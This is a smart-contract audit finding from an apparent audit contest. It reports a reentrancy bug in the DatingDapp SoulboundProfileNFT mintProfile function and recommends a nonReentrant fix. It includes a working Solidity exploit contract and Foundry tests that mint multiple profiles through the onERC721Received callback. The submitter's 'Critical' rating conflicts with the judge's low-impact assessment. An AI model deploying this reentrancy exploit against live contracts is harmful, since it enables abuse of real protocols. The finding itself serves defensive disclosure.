DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Multiple Profile Creation via Reentrancy in SoulboundProfileNFT

Summary

A critical reentrancy vulnerability has been identified in the SoulboundProfileNFT smart contract that allows malicious actors to create multiple profile NFTs for a single address, bypassing the contract's core security invariant of one-profile-per-user.

Vulnerability Details

The mintProfile() function in SoulboundProfileNFT contains a reentrancy vulnerability due to unsafe usage of _safeMint(). While the function includes a check to prevent multiple profiles per address, this check can be bypassed through a reentrancy attack during the minting process.

Vulnerable Code

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Attack Scenario

  1. An attacker deploys a malicious contract implementing IERC721Receiver

  2. The malicious contract calls mintProfile()

  3. During _safeMint(), onERC721Received is called on the attacker's contract

  4. The attacker's onERC721Received function recursively calls mintProfile() before the first mint completes

  5. This process can be repeated to create multiple profiles

Proof of Concept

I have created a proof of concept demonstrating the vulnerability. The exploit contract successfully creates multiple profiles in a single transaction:

// Exploit contract for the reentrancy attack
contract ProfileExploit is IERC721Receiver {
SoulboundProfileNFT public target;
uint256 public attackCount;
uint256 public constant ATTACK_LIMIT = 3;
event AttackInitiated(address attacker);
event ProfileMinted(uint256 count);
event AttackCompleted(uint256 totalProfiles);
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack() external {
emit AttackInitiated(msg.sender);
attackCount = 0;
// Initial profile creation to trigger reentrancy
target.mintProfile("Attacker", 25, "https://example.com/profile.jpg");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external override returns (bytes4) {
require(msg.sender == address(target), "Invalid callback source");
attackCount++;
emit ProfileMinted(attackCount);
if (attackCount < ATTACK_LIMIT) {
target.mintProfile("Attacker", 25, "https://example.com/profile.jpg");
} else {
emit AttackCompleted(attackCount);
}
return this.onERC721Received.selector;
}
function getProfileCount() external view returns (uint256) {
return attackCount;
}
}
// Test contract
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT public nft;
ProfileExploit public exploiter;
address public attacker;
function setUp() public {
// Deploy the target contract
nft = new SoulboundProfileNFT();
// Deploy the exploit contract
exploiter = new ProfileExploit(address(nft));
// Setup attacker account
attacker = makeAddr("attacker");
vm.deal(attacker, 5 ether);
}
function testReentrancyExploit() public {
// Start test from attacker's perspective
vm.startPrank(attacker);
// Log initial state
uint256 initialProfiles = exploiter.getProfileCount();
emit log_named_uint("Initial profiles", initialProfiles);
// Execute the attack
exploiter.attack();
// Verify attack results
uint256 finalProfiles = exploiter.getProfileCount();
emit log_named_uint("Final profiles created", finalProfiles);
// Assert multiple profiles were created
assertEq(finalProfiles, 3, "Attack should create exactly 3 profiles");
// Verify ownership of created tokens
for (uint256 i = 1; i <= 3; i++) {
address tokenOwner = nft.ownerOf(i);
assertEq(tokenOwner, address(exploiter),
string.concat("Token ", vm.toString(i), " not owned by exploiter"));
}
vm.stopPrank();
}
function testReentrancyExploitEvents() public {
// Start recording logs
vm.recordLogs();
// Execute attack
vm.prank(attacker);
exploiter.attack();
// Get recorded logs
Vm.Log[] memory logs = vm.getRecordedLogs();
// Verify events were emitted
bool foundInitiated = false;
bool foundCompleted = false;
uint256 mintedCount = 0;
for (uint256 i = 0; i < logs.length; i++) {
// Check AttackInitiated event
if (logs[i].topics[0] == keccak256("AttackInitiated(address)")) {
foundInitiated = true;
}
// Check ProfileMinted event
if (logs[i].topics[0] == keccak256("ProfileMinted(uint256)")) {
mintedCount++;
}
// Check AttackCompleted event
if (logs[i].topics[0] == keccak256("AttackCompleted(uint256)")) {
foundCompleted = true;
}
}
assertTrue(foundInitiated, "AttackInitiated event not emitted");
assertTrue(foundCompleted, "AttackCompleted event not emitted");
assertEq(mintedCount, 3, "Should emit exactly 3 ProfileMinted events");
}
}

Impact

The vulnerability has several severe implications:

  1. Violation of the one-profile-per-user principle

  2. Potential platform manipulation through multiple identities

  3. Undermining of the soulbound token concept

  4. Possible denial of service through excessive profile creation

Severity

Critical - The vulnerability breaks a fundamental security assumption of the protocol and could lead to significant platform manipulation.

Tools Used

Manual review

Foundry for POC

Recommendations

Add the OpenZeppelin ReentrancyGuard modifier to the mintProfile function:

function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.